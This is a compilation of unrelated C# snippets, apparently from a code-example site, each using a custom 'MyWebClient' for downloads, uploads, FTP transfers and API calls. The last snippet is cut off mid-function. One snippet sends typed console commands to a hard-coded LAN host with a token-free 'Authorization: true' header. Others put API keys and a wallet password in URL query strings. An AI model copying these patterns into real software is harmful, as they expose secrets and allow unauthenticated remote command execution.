private void findEventButton_Click(object sender, EventArgs e)
        {
            var wc = new MyWebClient();
            wc.Headers.Add("X-TBA-App-Id",
                "3710-xNovax:FRC_Scouting_V2:" + Assembly.GetExecutingAssembly().GetName().Version);
            try
            {
                string url = ("http://www.thebluealliance.com/api/v2/event/" +
                              Convert.ToString(eventCodeEntryTextBox.Text));
                string downloadedData = (wc.DownloadString(url));
                var deserializedData = JsonConvert.DeserializeObject<Event>(downloadedData);

                locationTextBox.Text = deserializedData.venue_address;
                eventNameLabel.Text = ("Event Name: " + deserializedData.name);
                eventSpanLabel.Text = string.Format("Event Date(s): {0} to {1}", deserializedData.start_date,
                    deserializedData.end_date);
                isOfficialLabel.Text = "Is Official?: " + deserializedData.official;
                if (deserializedData.official)
                {
                    isOfficialLabel.ForeColor = Color.Green;
                }
                else
                {
                    isOfficialLabel.ForeColor = Color.Red;
                }
                websiteDisplay.Text = deserializedData.website;
            }
            catch (Exception webError)
            {
                Console.WriteLine("Error Message: " + webError.Message);
                ConsoleWindow.WriteLine("Error Message: " + webError.Message);
            }
        }
 public string DownloadToTempFile(Uri uri, string text)
 {
     try
     {
         if (!Directory.Exists(_tempPath)) Directory.CreateDirectory(_tempPath);
         var fileName = Path.Combine(_tempPath, GetFileName(text)).AsPath();
         if (!File.Exists(fileName))
         {
             using (var client = new MyWebClient())
             {
                 if (!string.IsNullOrEmpty(_settings.GetDefaultProxy()))
                 {
                     client.Proxy = new WebProxy(new Uri(_settings.GetDefaultProxy()));
                 }
                 client.DownloadFile(uri, fileName);
             }
         }
         return fileName;
     }
     catch (Exception e)
     {
         _log.Error("Error downloading from: " + e.Message, e);
         throw;
     }
 }
Ejemplo n.º 3
0
 public void BumpAll(object sender = null, EventArgs e = null)
 {
     OutpostTradeService ts = new OutpostTradeService();
     var trades = ts.GetTradesToBump();
     CookieSet cook = auth.Credentials.Get();
     string hash = cook["uhash"];
     MyWebClient web = new MyWebClient(timeout);
     web.Headers.Add("Referer", RefererUrl);
     web.Headers.Add("Cookie", cook.ToString());
     foreach (TradeItem t in trades)
     {
         web.Headers.Add("Content-Type", ContentType);
         string data = String.Format(BumpParams, hash, t.Id);
         int c = attempts;
         while (c > 0)
         {
             try
             {
                 web.UploadString(BumpUrl, data);
                 break;
             }
             catch (Exception ex)
             {
                 c--;
             }
         }
     }
 }
Ejemplo n.º 4
0
 public static Byte[] DownloadData(String address)
 {
     Byte[] data;
     using (var wc = new MyWebClient())
     {
         data = wc.DownloadData(address);
     }
     return data;
 }
        public  virtual  CorrdinatorInfo GetDeviceInfo()   //version 2
        {
            MyWebClient wc = new MyWebClient();
            System.Runtime.Serialization.Json.DataContractJsonSerializer jsonsr = new System.Runtime.Serialization.Json.DataContractJsonSerializer(typeof(CorrdinatorInfoBase));

            Stream stream;
            CorrdinatorInfoBase retInfo = jsonsr.ReadObject(stream = wc.OpenRead(UriBase + "/info")) as CorrdinatorInfoBase;
            stream.Close();
            stream.Dispose();
            return retInfo.info;
        }
Ejemplo n.º 6
0
 /// <summary>
 ///  POST数据
 /// </summary>
 /// <param name="url"></param>
 /// <param name="data"></param>
 /// <param name="encoding"></param>
 /// <returns></returns>
 public static String Post(String url, Byte[] data, Encoding encoding = null)
 {
     if (encoding == null) encoding = Encoding.UTF8;
     String str;
     using (var wc = new MyWebClient())
     {
         wc.Headers["Content-Type"] = "application/x-www-form-urlencoded";
         var ret = wc.UploadData(url, "POST", data);
         str = encoding.GetString(ret);
     }
     return str;
 }
Ejemplo n.º 7
0
 public static Boolean GetContentString(String url, out String message, Encoding encoding = null)
 {
     try
     {
         if (encoding == null) encoding = Encoding.UTF8;
         using (var wc = new MyWebClient())
         {
             message = encoding.GetString(wc.DownloadData(url));
             return true;
         }
     }
     catch (Exception exception)
     {
         message = exception.Message;
         return false;
     }
 }
        private void findTeamButton_Click(object sender, EventArgs e)
        {
            string downloadedData;
            var wc = new MyWebClient();
            wc.Headers.Add("X-TBA-App-Id", "3710-xNovax:FRC_Scouting_V2:" + Assembly.GetExecutingAssembly().GetName().Version);
            try
            {
                url = ("http://www.thebluealliance.com/api/v2/team/frc" + Convert.ToString(teamNumber));
                downloadedData = (wc.DownloadString(url));
                var deserializedData = JsonConvert.DeserializeObject<TeamInformationJSONData>(downloadedData);

                teamName = Convert.ToString(deserializedData.nickname);
                teamNumber = Convert.ToInt16(deserializedData.team_number);
                teamLocation = Convert.ToString(deserializedData.location);
                rookieYear = Convert.ToInt32(deserializedData.rookie_year);
                teamWebsite = Convert.ToString(deserializedData.website);

                Console.WriteLine("The information for team: " + Convert.ToString(teamNumber) +
                                  " has been found successfully.");
                ConsoleWindow.WriteLine("The information for team: " + Convert.ToString(teamNumber) +
                                        " has been found successfully.");
            }
            catch (Exception webError)
            {
                Console.WriteLine("Error Message: " + webError.Message);
                ConsoleWindow.WriteLine("Error Message: " + webError.Message);
            }

            teamNameDisplay.Text = teamName;
            teamNumberDisplay.Text = Convert.ToString(teamNumber);
            teamLocationDisplay.Text = teamLocation;
            teamWebsiteDisplay.Text = teamWebsite;
            rookieYearDisplay.Text = Convert.ToString(rookieYear);

            if (teamNumber == 3710)
            {
                MessageBox.Show("BEST TEAM EVER! Please invite to your alliance!");
            }
        }
Ejemplo n.º 9
0
        private static XmlDocument GetElement(string apiKey, string userName, bool ThrowExceptions = false)
        {
            try
            {
                using (MyWebClient c = new MyWebClient())
                {
                    var         data = c.DownloadString(string.Format("http://pointclicktrack.com/api/offers/format/xml/username/{0}/key/{1}/", userName, apiKey));
                    XmlDocument doc  = new XmlDocument();
                    doc.LoadXml(data);

                    return(doc);
                }
            }
            catch (Exception ex)
            {
                ErrorLogger.Log(ex);
                if (ThrowExceptions)
                {
                    throw new MsgException(ex.Message);
                }
            }
            return(null);
        }
Ejemplo n.º 10
0
        public decimal?GetLowestOfferPrice(Product product)
        {
            decimal?price = null;

            if (product != null && !string.IsNullOrEmpty(product.OfferListingUrl))
            {
                var webClient = new MyWebClient();
                var html      = webClient.DownloadString(product.OfferListingUrl);
                var doc       = new HtmlDocument();
                doc.LoadHtml(html);
                var value = doc.DocumentNode.SelectSingleNode("//*[contains(@class,'olpOfferPrice')]")?.InnerText ?? string.Empty;
                var match = Regex.Match(value, @"\d+[.,]?\d*");
                if (match.Success)
                {
                    decimal d;
                    if (decimal.TryParse(match.Value.Replace(",", string.Empty), out d))
                    {
                        price = d;
                    }
                }
            }
            return(price);
        }
Ejemplo n.º 11
0
        private bool TrueSend()
        {
            if (UrlManager.Statistics == null)
            {
                return(false);
            }

            string urlAddress = UrlManager.Statistics;

            using (MyWebClient client = new MyWebClient())
            {
                NameValueCollection postData = new NameValueCollection()
                {
                    { "guid", InstallationID.ToString("N") },
                    { "installed", InstalledDate.ToString("yyyy-MM-dd HH:mm:ss") },
                    { "version", Version.ToString(3) },
                    { "grblVersion", GrblVersion.ToString() },
                    { "locale", Locale.ToString() },
                    { "uiLang", UiLang.ToString() },
                    { "usageCount", UsageCount.ToString() },
                    { "usageTime", ((int)(UsageTime.TotalMinutes)).ToString() },
                    { "wrapperType", Wrapper.ToString() },
                    { "fGCodeFile", Counters.GCodeFile.ToString() },
                    { "fRasterFile", Counters.RasterFile.ToString() },
                    { "fVectorization", Counters.Vectorization.ToString() },
                    { "fDithering", Counters.Dithering.ToString() },
                    { "fLine2Line", Counters.Line2Line.ToString() },
                    { "fSvgFile", Counters.SvgFile.ToString() },
                    { "fCenterline", Counters.Centerline.ToString() },
                    { "firmware", Firmware.ToString() },
                };

                // client.UploadValues returns page's source as byte array (byte[]) so it must be transformed into a string
                string rv = System.Text.Encoding.UTF8.GetString(client.UploadValues(urlAddress, postData));
                return(rv == "Success!");
            }
        }
Ejemplo n.º 12
0
        public async Task <string> DownloadFileAsync(string docId, int attachNumber = 1)
        {
            string ret = string.Empty;

            try
            {
                string url = $"{Constants.ApiUrl}?documentId={docId}&attachmentNumber={attachNumber}&contentType=excel12book";

                string filePath = $"{_webRootDownloadPath}{docId}.xlsx";

                using (var client = new MyWebClient(3000))
                {
                    client.Credentials = System.Net.CredentialCache.DefaultNetworkCredentials;

                    await client.DownloadFileTaskAsync(new Uri(url), filePath);
                }
            }
            catch
            {
                ret = docId;
            }

            return(ret);
        }
Ejemplo n.º 13
0
        public AuthViewModel()
        {
            _AuthorizeCommand = new RelayCommand(AuthorizeCommand, CanAuthorizeCommand);
            var settings = IsolatedStorageSettings.ApplicationSettings;
            if (OAuthDetails.IsAuthenticated)
            {
                OAuthToken = OAuthDetails.Token;
                OAuthTokenSecret = OAuthDetails.TokenSecret;
                IsAuthorized = true;
            }
            else
            {
                MyWebClient client = new MyWebClient();
                OAuthHelper oauth = new OAuthHelper();

                oauth.Callback = "oob";
                oauth.ConsumerKey = OAuthDetails.ConsumerKey;
                oauth.ConsumerSecret = OAuthDetails.ConsumerSecret;
                client.OAuthHelper = oauth;
                client.DoPostCompleted += new EventHandler<DoPostCompletedEventArgs>(GotRequestToken);
                client.DoGetAsync(new Uri("https://api.twitter.com/oauth/request_token", UriKind.Absolute));

            }
        }
Ejemplo n.º 14
0
        public AuthViewModel()
        {
            _AuthorizeCommand = new RelayCommand(AuthorizeCommand, CanAuthorizeCommand);
            var settings = IsolatedStorageSettings.ApplicationSettings;

            if (OAuthDetails.IsAuthenticated)
            {
                OAuthToken       = OAuthDetails.Token;
                OAuthTokenSecret = OAuthDetails.TokenSecret;
                IsAuthorized     = true;
            }
            else
            {
                MyWebClient client = new MyWebClient();
                OAuthHelper oauth  = new OAuthHelper();

                oauth.Callback          = "oob";
                oauth.ConsumerKey       = OAuthDetails.ConsumerKey;
                oauth.ConsumerSecret    = OAuthDetails.ConsumerSecret;
                client.OAuthHelper      = oauth;
                client.DoPostCompleted += new EventHandler <DoPostCompletedEventArgs>(GotRequestToken);
                client.DoGetAsync(new Uri("https://api.twitter.com/oauth/request_token", UriKind.Absolute));
            }
        }
Ejemplo n.º 15
0
    public static int GetPointsLeft()
    {
        int balance = -1;

        try
        {
            using (var client = new MyWebClient())
            {
                //Try get balance info
                string results             = client.DownloadString(Balance_ApiUrl + "?key=" + ApiKey);
                System.Xml.XmlDocument doc = new System.Xml.XmlDocument();
                doc.LoadXml(results);
                if (doc.SelectSingleNode("//failed/error_code") != null)
                {
                    // There is an lookup error
                    throw new MsgException(doc.SelectSingleNode("//failed/error_code/text()").Value + ": " + doc.SelectSingleNode("//failed/error_msg/text()").Value + "\"");
                }
                else if (doc.SelectSingleNode("//response/balance") == null)
                {
                    // Service unavailable
                    throw new MsgException("The ProxStop service seems to be temporarily unavailable");
                }
                balance = Convert.ToInt32(doc.SelectSingleNode("//response/balance").InnerText);
                return(balance);
            }
        }
        catch (MsgException ex)
        {
            throw ex;
        }
        catch (Exception ex)
        {
            //ErrorLogger.Log(ex);
            throw ex;
        }
    }
Ejemplo n.º 16
0
        private static JArray GetElement(string apiKey, string networkId, bool ThrowExceptions = false)
        {
            try
            {
                var queryString = new StringBuilder();
                queryString.Append("https://");
                queryString.Append(networkId);
                queryString.Append(".api.hasoffers.com/Apiv3/json?");
                queryString.Append("api_key=");
                queryString.Append(apiKey);
                //queryString.Append(@"&Target=Affiliate_Offer&Method=findAll&filters[currency][NULL]=&filters[payout_type][NOT_EQUAL_TO]=cpa_percentage&filters[status]=active");
                queryString.Append(@"&Target=Affiliate_Offer&Method=findAll&filters[status]=active");

                using (MyWebClient c = new MyWebClient())
                {
                    ApiCalled();
                    var json = c.DownloadString(queryString.ToString());

                    JObject o        = JObject.Parse(json);
                    var     response = o["response"];
                    var     data     = ((response["data"]).Children()).Children();
                    var     offers   = data["Offer"];

                    return(new JArray(offers));
                }
            }
            catch (Exception ex)
            {
                ErrorLogger.Log(ex);
                if (ThrowExceptions)
                {
                    throw new MsgException(ex.Message);
                }
            }
            return(null);
        }
Ejemplo n.º 17
0
        /// <summary>
        /// 异步上传文件到FTP服务器
        /// </summary>
        /// <param name="localFullPath">本地带有完整路径的文件名</param>
        /// <param name="remoteFileName">要在FTP服务器上面保存文件名</param>
        /// <param name="overWriteRemoteFile">是否覆盖远程服务器上面同名的文件</param>
        public void UploadFileAsync(string localFullPath, string remoteFileName, bool overWriteRemoteFile)
        {
            try
            {
                if (!IsValidFileChars(remoteFileName) || !IsValidFileChars(Path.GetFileName(localFullPath)) || !IsValidPathChars(Path.GetDirectoryName(localFullPath)))
                {
                    throw new Exception("非法文件名或目录名!");
                }
                if (!overWriteRemoteFile && FileExist(remoteFileName))
                {
                    throw new Exception("FTP服务上面已经存在同名文件!");
                }
                if (File.Exists(localFullPath))
                {
                    var client = new MyWebClient();

                    client.UploadProgressChanged += client_UploadProgressChanged;
                    client.UploadFileCompleted   += client_UploadFileCompleted;
                    client.Credentials            = new NetworkCredential(UserName, Password);
                    if (Proxy != null)
                    {
                        client.Proxy = Proxy;
                    }
                    client.UploadFileAsync(new Uri(Uri + remoteFileName), localFullPath);
                }
                else
                {
                    throw new Exception("本地文件不存在!");
                }
            }
            catch (Exception ep)
            {
                ErrorMsg = ep.ToString();
                throw ep;
            }
        }
Ejemplo n.º 18
0
        /// <summary>

        /// 异步上传文件到FTP服务器

        /// </summary>

        /// <param name="LocalFullPath">本地带有完整路径的文件名</param>

        /// <param name="RemoteFileName">要在FTP服务器上面保存文件名</param>

        /// <param name="OverWriteRemoteFile">是否覆盖远程服务器上面同名的文件</param>

        public void UploadFileAsync(string LocalFullPath, string RemoteFileName, bool OverWriteRemoteFile)
        {
            try
            {
                if (!IsValidFileChars(RemoteFileName) || !IsValidFileChars(Path.GetFileName(LocalFullPath)) || !IsValidPathChars(Path.GetDirectoryName(LocalFullPath)))
                {
                    throw new Exception("非法文件名或目录名!");
                }
                if (!OverWriteRemoteFile && FileExist(RemoteFileName))
                {
                    throw new Exception("FTP服务上面已经存在同名文件!");
                }
                if (File.Exists(LocalFullPath))
                {
                    MyWebClient client = new MyWebClient();

                    client.UploadProgressChanged += new UploadProgressChangedEventHandler(client_UploadProgressChanged);
                    client.UploadFileCompleted   += new UploadFileCompletedEventHandler(client_UploadFileCompleted);
                    client.Credentials            = new NetworkCredential(this.UserName, this.Password);
                    if (this.Proxy != null)
                    {
                        client.Proxy = this.Proxy;
                    }
                    client.UploadFileAsync(new Uri(this.Uri.ToString() + RemoteFileName), LocalFullPath);
                }
                else
                {
                    throw new Exception("本地文件不存在!");
                }
            }
            catch (Exception ep)
            {
                ErrorMsg = ep.ToString();
                throw ep;
            }
        }
Ejemplo n.º 19
0
    public void PublishThread(string channel, object theMessage, stringCallback successFunction, stringCallback failureFunction)
    {
        string output = "";

        try
        {
            string queryString = "publish/" + pubnubPubKey + "/" + pubnubSubKey + "/0/" + channel + "/0/";
            if (theMessage is string)
            {
                queryString += "\"" + (string)theMessage + "\"";
            }
            else if ((theMessage is ArrayList) || (theMessage is Hashtable))
            {
                queryString += JSON.JsonEncode(theMessage);
            }
            else // Probably a number
            {
                queryString += theMessage.ToString();
            }

            WebClient client = new MyWebClient();
            client.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;)");
            Stream       data   = client.OpenRead(PubnubURL + queryString);
            StreamReader reader = new StreamReader(data);
            output = reader.ReadToEnd();
            data.Close();
            reader.Close();

            successFunction(output);
        }
        catch (Exception e)
        {
            output = "error : " + e.Message + " " + e.Source + " " + e.StackTrace;
            failureFunction(output);
        }
    }
Ejemplo n.º 20
0
    public void SendTransactions(List <KeyValuePair <string, decimal> > addressesWithAmounts)
    {
        var arrayForQueryString = new StringBuilder();

        for (int i = 0; i < addressesWithAmounts.Count; i++)
        {
            arrayForQueryString.AppendFormat("&tra[{0}]={1}", addressesWithAmounts.ElementAt(i).Key,
                                             Convert.ToInt32(addressesWithAmounts.ElementAt(i).Value * 100000000)); //Already converting to Satoshis
        }

        using (MyWebClient client = new MyWebClient())
        {
            //We have a Blocktrail SDK installed on apis.usetitan.com
            string requestUrl = String.Format("https://apis.usetitan.com/btg.php?command=payInBatch&key={0}&secret={1}&walletName={2}&walletPass={3}{4}",
                                              ApiKey, ApiSecret, AppSettings.Cryptocurrencies.BlocktrailWalletIdentifier, AppSettings.Cryptocurrencies.BlocktrailWalletPassword, arrayForQueryString.ToString());

            var responseString = client.DownloadString(requestUrl);

            if (!responseString.StartsWith("OK"))
            {
                throw new MsgException(responseString);
            }
        }
    }
Ejemplo n.º 21
0
        public override string GetPageString(int page, int count, string keyWord, IWebProxy proxy)
        {
            Login(proxy);
            //http://yuriimg.com/post/?.html
            string url = SiteUrl + "/post/" + page + ".html";
            // string url = "http://yuriimg.com/show/ge407xd5o.jpg";

            MyWebClient web = new MyWebClient();

            web.Proxy             = proxy;
            web.Encoding          = Encoding.UTF8;
            web.Headers["Cookie"] = cookie;

            if (keyWord.Length > 0)
            {
                //http://yuriimg.com/search/index/tags/?/p/?.html
                url = SiteUrl + "/search/index/tags/" + keyWord + "/p/" + page + ".html";
            }
            string pageString = web.DownloadString(url);

            web.Dispose();

            return(pageString);
        }
Ejemplo n.º 22
0
        static void Main(string[] args)
        {
            var ipAddres = "192.168.1.118";
            var port     = 80;
            var url      = $"http://{ipAddres}:{port}/";

            Console.WriteLine(url);

            while (true)
            {
                Console.Write("cmd>");
                var input = Console.ReadLine()?.ToLower();
                if (input == "close")
                {
                    break;
                }

                try {
                    if (string.IsNullOrWhiteSpace(input))
                    {
                        continue;
                    }
                    using (var wc = new MyWebClient()) {
                        wc.Headers.Add("Authorization", "true");

                        wc.Encoding = Encoding.UTF8;
                        var result = wc.UploadString($"{url}?cmd={input}", "POST", "");
                        Console.WriteLine("---------------------------------------------------------------");
                        Console.WriteLine(result);
                        Console.WriteLine("---------------------------------------------------------------");
                    }
                } catch (Exception ex) {
                    Console.WriteLine(ex);
                }
            }
        }
Ejemplo n.º 23
0
    public string GenerateBTCAddress()
    {
        string adminAddress = string.Empty;

        using (MyWebClient client = new MyWebClient())
        {
            var BtcCryptocurrency = CryptocurrencyFactory.Get(CryptocurrencyType.BTC);

            //We have a Blocktrail SDK installed on apis.usetitan.com
            string requestUrl = String.Format("https://apis.usetitan.com/btg.php?command=generate&key={0}&secret={1}&walletName={2}&walletPass={3}&confirmations={4}",
                                              ApiKey, ApiSecret, AppSettings.Cryptocurrencies.BlocktrailWalletIdentifier, AppSettings.Cryptocurrencies.BlocktrailWalletPassword, BtcCryptocurrency.DepositMinimumConfirmations);

            var responseString = client.DownloadString(requestUrl);

            if (!responseString.StartsWith("OK"))
            {
                throw new MsgException(responseString);
            }

            adminAddress = responseString.Split(':')[1];
        }

        return(adminAddress);
    }
Ejemplo n.º 24
0
        private static JArray GetElement(string affiliateId, string apiKey, bool ThrowExceptions = false)
        {
            try
            {
                using (WebClient c = new MyWebClient())
                {
                    var data = c.DownloadString("https://api.adgatemedia.com/v1/offers?aff=" + affiliateId + "&api_key=" + apiKey);

                    JArray o = JArray.Parse(data);

                    return(o);
                }
            }
            catch (Exception ex)
            {
                ErrorLogger.Log(ex);
                if (ThrowExceptions)
                {
                    throw new MsgException(ex.Message);
                }
            }

            return(null);
        }
        public void OpenBuyMap(string mapName, bool isUniq, string league)
        {
            mapName = mapName.Replace("The ", "");
            var qParms = new List <string>(DefaultPostData);

            InsertChangeData(qParms, "name", mapName.Replace(" ", "+"));

            if (isUniq)
            {
                InsertChangeData(qParms, "rarity", "unique");
            }

            InsertChangeData(qParms, "league", league);

            using (var wb = new MyWebClient())
            {
                var queryString = ToQueryString(qParms);

                var response = wb.UploadString(url, "POST", queryString);

                var urlOpen = wb.ResponseUri.AbsoluteUri;
                Process.Start(urlOpen);
            }
        }
Ejemplo n.º 26
0
        public String HttpUploadFile(string url, string file, string paramName, string contentType, NameValueCollection nvc)
        {
            using (MyWebClient myWebClient = new MyWebClient())
            {
                ICredentials identifiant = new NetworkCredential(this.Authentification.Pseudo, this.Authentification.Password);
                myWebClient.Credentials = identifiant;
                byte[] responseArray = myWebClient.UploadFile(url, "POST", file);

                return Encoding.ASCII.GetString(responseArray);
            }

            /*
            string boundary = "---------------------------" + DateTime.Now.Ticks.ToString("x");
            byte[] boundarybytes = System.Text.Encoding.ASCII.GetBytes("\r\n--" + boundary + "\r\n");

            HttpWebRequest wr = (HttpWebRequest)WebRequest.Create(url);
            wr.ContentType = "multipart/form-data; boundary=" + boundary;
            wr.Method = "POST";
            wr.KeepAlive = true;
            ICredentials identifiant = new NetworkCredential(this.Authentification.Pseudo, this.Authentification.Password);
            wr.Credentials = identifiant;

            Stream rs = wr.GetRequestStream();

            string formdataTemplate = "Content-Disposition: form-data; name=\"{0}\"\r\n\r\n{1}";
            foreach (string key in nvc.Keys)
            {
                rs.Write(boundarybytes, 0, boundarybytes.Length);
                string formitem = string.Format(formdataTemplate, key, nvc[key]);
                byte[] formitembytes = System.Text.Encoding.UTF8.GetBytes(formitem);
                rs.Write(formitembytes, 0, formitembytes.Length);
            }
            rs.Write(boundarybytes, 0, boundarybytes.Length);

            string headerTemplate = "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\nContent-Type: {2}\r\n\r\n";
            string header = string.Format(headerTemplate, paramName, file, contentType);
            byte[] headerbytes = System.Text.Encoding.UTF8.GetBytes(header);
            rs.Write(headerbytes, 0, headerbytes.Length);

            FileStream fileStream = new FileStream(file, FileMode.Open, FileAccess.Read);
            byte[] buffer = new byte[4096];
            int bytesRead = 0;
            while ((bytesRead = fileStream.Read(buffer, 0, buffer.Length)) != 0)
            {
                rs.Write(buffer, 0, bytesRead);
            }
            fileStream.Dispose();
            fileStream.Close();

            byte[] trailer = System.Text.Encoding.ASCII.GetBytes("\r\n--" + boundary + "--\r\n");
            rs.Write(trailer, 0, trailer.Length);
            rs.Close();

            WebResponse wresp = null;
            string response = null;
            try
            {
                wresp = wr.GetResponse();
                Stream stream2 = wresp.GetResponseStream();
                StreamReader reader2 = new StreamReader(stream2);
                response = reader2.ReadToEnd();
            }
            catch
            {
                if (wresp != null)
                {
                    wresp.Close();
                    wresp = null;
                }
                throw new Exception();
            }
            finally
            {
                wr = null;
            }
            return response;*/
        }
Ejemplo n.º 27
0
        private bool ftpAll(string fromPath, string to, string uname, string pwd, IProgress <GFUTaskProgress> progress = null)
        {
            //if (bError) return false;

            string[] dirs = Directory.GetDirectories(fromPath);

            foreach (string d in dirs)
            {
                //if (bError) return false;

                string p = Path.GetFileName(d);

                try
                {
                    WebRequest request = WebRequest.Create("ftp://" + to + "/" + p);
                    request.Method      = WebRequestMethods.Ftp.MakeDirectory;
                    request.Credentials = new NetworkCredential(uname, pwd);
                    request.Timeout     = 5000;
                    using (var resp = (FtpWebResponse)request.GetResponse())
                    {
                        Console.WriteLine(resp.StatusCode);
                    }
                }
                catch (Exception ex)
                {
                    if (ex is WebException)
                    {
                        if ((ex as WebException).Status == WebExceptionStatus.ConnectFailure)
                        {
                            //UploadState.Progress = 0;
                            _lastError = "Failed to connect to Gemini: " + (ex as WebException).Message;
                            return(false);
                        }
                    }
                }

                string dirPath = Path.Combine(fromPath, p);
                string toPath  = to + "/" + p;

                ftpAll(dirPath, toPath, uname, pwd);

                //string[] files = Directory.GetFiles(dirPath);
                //foreach (string f in files)
                //{
                //    string fname = Path.GetFileName(f);
                //    using (WebClient webClient = new WebClient())
                //    {
                //        webClient.Credentials = new NetworkCredential(uname, pwd);
                //        webClient.UploadFile("ftp://" + toPath + "/" + fname, f);
                //    }
                //}
            }



#if false
            {
                try
                {
                    string[] files2 = Directory.GetFiles(fromPath);

                    EnterpriseDT.Net.Ftp.FTPConnection ftpConnection = new FTPConnection();
                    ftpConnection.ServerAddress = txtIP.Text;
                    ftpConnection.UserName      = uname;
                    ftpConnection.Password      = "******";
                    ftpConnection.AccountInfo   = "";

                    ftpConnection.Connect();

                    string x = to.Replace(txtIP.Text, "");
                    if (x.StartsWith("/"))
                    {
                        x = x.Substring(1);
                    }

                    ftpConnection.ChangeWorkingDirectory(x);

                    foreach (string f in files2)
                    {
                        if (bError)
                        {
                            return(false);
                        }

                        string fname = Path.GetFileName(f);

                        try
                        {
                            ftpConnection.UploadFile(f, fname);
                        }
                        catch (Exception ex)
                        {
                            if (!bError)
                            {
                                bError  = true;
                                bCancel = true;
                                MessageBox.Show(this, ex.Message + "\n" + fname + "\n\nDetails:\n" + ex.ToString(), "Failed to upload", MessageBoxButtons.OK, MessageBoxIcon.Error);
                            }
                        }
                        progUpload.Value = (int)((1000 * UploadCount) / totalFiles);
                        if (!bError)
                        {
                            UploadCount++;
                            lbUploadPercent.Text = (progUpload.Value / 10).ToString() + "%" + " (" + UploadCount.ToString() + "/" + totalFiles.ToString() + ")";
                            Application.DoEvents();
                        }
                    }

                    ftpConnection.Close();
                }
                catch (Exception ex)
                {
                }
            }
//#else

            {
                try
                {
                    string[] files2 = Directory.GetFiles(fromPath);

                    foreach (string f in files2)
                    {
                        if (bError)
                        {
                            return(false);
                        }

                        string fname = Path.GetFileName(f);

                        System.Threading.ThreadPool.QueueUserWorkItem(arg =>
                        {
                            semConn.WaitOne();


                            using (MyWebClient webClient = new MyWebClient())
                            {
                                webClient.Credentials = new NetworkCredential(uname, pwd);

                                try
                                {
                                    webClient.UploadFile("ftp://" + to + "/" + fname, f);
                                    while (webClient.IsBusy)
                                    {
                                        System.Threading.Thread.Sleep(100);
                                    }
                                }
                                catch (Exception ex)
                                {
                                    lock (this)
                                        this.Invoke(new Action(() =>
                                        {
                                            if (!bError)
                                            {
                                                bError  = true;
                                                bCancel = true;
                                                MessageBox.Show(this,
                                                                ex.Message + "\n" + fname + "\n\nDetails:\n" + ex.ToString(),
                                                                "Failed to upload", MessageBoxButtons.OK, MessageBoxIcon.Error);
                                            }
                                        }));
                                }

                                this.Invoke(new Action(() =>
                                {
                                    progUpload.Value = (int)((1000 * UploadCount) / totalFiles);
                                    if (!bError)
                                    {
                                        UploadCount++;
                                        lbUploadPercent.Text = (progUpload.Value / 10).ToString() + "%" + " (" +
                                                               UploadCount.ToString() + "/" + totalFiles.ToString() +
                                                               ")";
                                        Application.DoEvents();
                                    }
                                }));
                            }
                            semConn.Release();
                        });
                    }
                }
                catch (Exception ex)
                {
                }
            }
            return(true);
#endif


            using (WebClient webClient = new WebClient())
            {
                webClient.Credentials = new NetworkCredential(uname, pwd);

                string[] files2 = Directory.GetFiles(fromPath);
                foreach (string f in files2)
                {
                    string fname = Path.GetFileName(f);
                    try
                    {
                        webClient.UploadFile("ftp://" + to + "/" + fname, f);
                        while (webClient.IsBusy)
                        {
                            System.Threading.Thread.Sleep(100);
                        }
                    }
                    catch (Exception ex)
                    {
                        _lastError = ex.Message + "\n\n" + to + "/" + fname + "\n\nDetails:\n" + ex.ToString();
                        return(false);
                    }
                    try
                    {
                        //UploadState.Progress = UploadCount / totalFiles *100;
                    }
                    catch
                    {
                    }
                    //Application.DoEvents();
                    UploadCount++;
                }
            }

            return(true);
        }
Ejemplo n.º 28
0
 private void DownloadFile(string RemoteFileName, string LocalFullPath,bool Asyn)
 {
     try
     {
         if (!IsValidFileChars(RemoteFileName))
         {
             throw new Exception("非法文件名或目录名!");
         }
         if (Directory.Exists(LocalFullPath))
         {
             //如果传入 的 本地路径是个 文件夹,而非文件全路径
             LocalFullPath = Path.Combine(LocalFullPath, RemoteFileName);
         }
         string filePath = LocalFullPath;
         if (LocalFullPath.Contains("\\"))
         {
             filePath = LocalFullPath.Substring(0, LocalFullPath.LastIndexOf("\\"));
         }
         // "本地文件路径不存在!则创建
         if (!Directory.Exists(filePath))
         {
             Directory.CreateDirectory(filePath);
         }
         client = new MyWebClient();
         client.DownloadProgressChanged += new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
         client.DownloadFileCompleted += new System.ComponentModel.AsyncCompletedEventHandler(client_DownloadFileCompleted);
         client.Credentials = new NetworkCredential(this.UserName, this.Password);
         if (this.Proxy != null)
         {
             client.Proxy = this.Proxy;
         }
         client.usePassive = this.userPassive;
         //设置路径
         if (this.Uri.ToString().EndsWith("/"))
         {
             RemoteFileName = RemoteFileName.TrimStart('/');
         }
         if (Asyn)
         {
             client.DownloadFileAsync(new Uri(this.Uri.ToString() + RemoteFileName), LocalFullPath);
         }
         else
         {
             client.DownloadFile(new Uri(this.Uri.ToString() + RemoteFileName), LocalFullPath);
         }
     }
     catch (Exception ep)
     {
         ErrorMsg = ep.ToString();
         throw ep;
     }
 }
Ejemplo n.º 29
0
 public Dms()
 {
     webClient = new MyWebClient();
 }
Ejemplo n.º 30
0
        public Form1()
        {
            InitializeComponent();

            client = new MyWebClient();
        }
Ejemplo n.º 31
0
        /// <summary>
        /// get images sync
        /// </summary>
        //public List<Img> GetImages(int page, int count, string keyWord, int maskScore, int maskRes, ViewedID lastViewed, bool maskViewed, System.Net.IWebProxy proxy, bool showExplicit)
        //{
        //    return GetImages(GetPageString(page, count, keyWord, proxy), maskScore, maskRes, lastViewed, maskViewed, proxy, showExplicit);
        //}

        public override string GetPageString(int page, int count, string keyWord, System.Net.IWebProxy proxy)
        {
            string url = SiteUrl + "/?page=" + page;

            MyWebClient web = new MyWebClient();

            web.Proxy    = proxy;
            web.Encoding = Encoding.UTF8;

            if (keyWord.Length > 0)
            {
                url = SiteUrl + "/search/process/";
                //multi search
                string data = "tags=" + keyWord + "&source=&char=&artist=&postcontent=&txtposter=";
                if (type == 2)
                {
                    data = "tags=&source=" + keyWord + "&char=&artist=&postcontent=&txtposter=";
                }
                else if (type == 3)
                {
                    data = "tags=&source=&char=&artist=" + keyWord + "&postcontent=&txtposter=";
                }
                else if (type == 4)
                {
                    data = "tags=&source=&char=" + keyWord + "&artist=&postcontent=&txtposter=";
                }

                //e-shuushuu需要将关键词转换为tag id,然后进行搜索
